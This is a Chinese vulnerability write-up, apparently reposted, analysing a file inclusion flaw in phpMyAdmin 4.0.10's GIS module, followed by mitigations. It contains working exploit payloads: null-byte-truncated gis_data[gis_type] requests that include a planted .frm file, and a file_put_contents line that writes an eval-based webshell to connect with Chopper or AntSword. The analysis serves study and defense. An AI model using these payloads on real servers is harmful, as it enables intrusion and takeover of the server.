phpMyAdmin 4.0.10 文件包含 -> getshell (转载)
字数 1401 2025-08-06 12:20:54
phpMyAdmin 4.0.10 文件包含漏洞分析与利用
漏洞概述
phpMyAdmin 4.0.10 版本中存在一个文件包含漏洞,攻击者可以通过精心构造的请求实现任意文件包含,最终可能导致远程代码执行(RCE)和服务器沦陷。该漏洞位于GIS功能模块中,由于对用户输入过滤不严,导致攻击者可以控制文件包含路径。
漏洞定位
初始漏洞点
漏洞位于 PMA_GIS_Factory 类的 factory 方法中:
public static function factory($type) {
include_once './libraries/gis/pma_gis_geometry.php';
$type_lower = strtolower($type);
if (!file_exists('./libraries/gis/pma_gis_' . $type_lower . '.php')) {
return false;
}
if (include_once './libraries/gis/pma_gis_' . $type_lower . '.php') {
// ... switch语句处理不同类型 ...
} else {
return false;
}
}
关键问题在于:
$type参数直接拼接进文件路径- 仅进行了小写转换,没有过滤特殊字符
- 使用
include_once包含文件,而非安全的包含方式
参数溯源
$type 参数来源于 $gis_data['gis_type'],而 $gis_data 又来源于用户可控的 $_REQUEST['gis_data']:
$gis_data = array();
if (PMA_isValid($_REQUEST['gis_data'], 'array')) {
$gis_data = $_REQUEST['gis_data'];
}
PMA_isValid 函数仅验证输入是否为数组类型,没有进行更严格的安全检查。
漏洞利用条件
要成功利用此漏洞,需要满足以下条件:
- 能够控制
gis_data[gis_type]参数 - 目标服务器上存在可被包含的可控文件
- 在Linux系统上,路径不能包含大写字母(因为
strtolower转换)
漏洞利用步骤
1. 准备恶意文件
在MySQL数据目录中创建包含PHP代码的文件:
- 创建一个包含恶意代码的数据库表文件(如
.frm文件) - 确保文件内容包含有效的PHP代码,例如:
<?php phpinfo(); ?>
2. 构造Payload
基本Payload结构:
gis_data[gis_type]=/path/to/malicious/file%00
实际利用示例:
gis_data[gis_type]=phpstudy/mysql/data/wz/abc.frm%00&a=phpinfo();
说明:
%00是空字符,用于截断后面的.php后缀a参数用于执行任意PHP代码
3. 文件包含触发
访问包含漏洞的页面(通常是 gis_data_editor.php)并发送构造好的Payload。
4. 写入Webshell
进一步利用,写入永久性Webshell:
gis_data[gis_type]=phpstudy/mysql/data/wz/abc.frm%00&a=file_put_contents('shell.php','<?php eval($_POST["cmd"]);?>');
5. 连接Webshell
访问写入的 shell.php 文件,使用中国菜刀或蚁剑等工具连接,获取服务器控制权。
漏洞防御
临时解决方案
- 禁用phpMyAdmin的GIS功能
- 升级到最新版本的phpMyAdmin
- 设置php.ini中的
open_basedir限制文件访问范围
代码修复建议
- 对用户输入进行严格过滤,特别是文件路径
- 使用白名单机制限制可包含的文件
- 避免直接拼接用户输入到文件路径中
- 使用
realpath检查文件路径是否合法
技术细节补充
文件包含规则
有效的文件包含漏洞通常匹配以下模式:
include .*\$.{1,5}|include_once .*\$.{1,5}|require .*\$.{1,5}|require_once .*\$.{1,5}
Linux系统限制
在Linux系统上,由于 strtolower 转换,如果MySQL数据路径包含大写字母(如 /var/lib/MySQL/),则无法利用此漏洞,因为路径会被转换为小写。
其他注意事项
- WebShell密码不能是纯数字,避免被重置
- 需要有效的token值,否则可能被CSRF防护拦截
- 文件包含后,
.php后缀会被自动添加,因此需要使用空字节截断
总结
phpMyAdmin 4.0.10的文件包含漏洞是一个典型的二次注入漏洞,通过GIS功能模块的参数传递,最终导致任意文件包含。该漏洞利用条件较为宽松,危害性高,可导致服务器完全沦陷。管理员应及时升级到安全版本,或采取临时防护措施。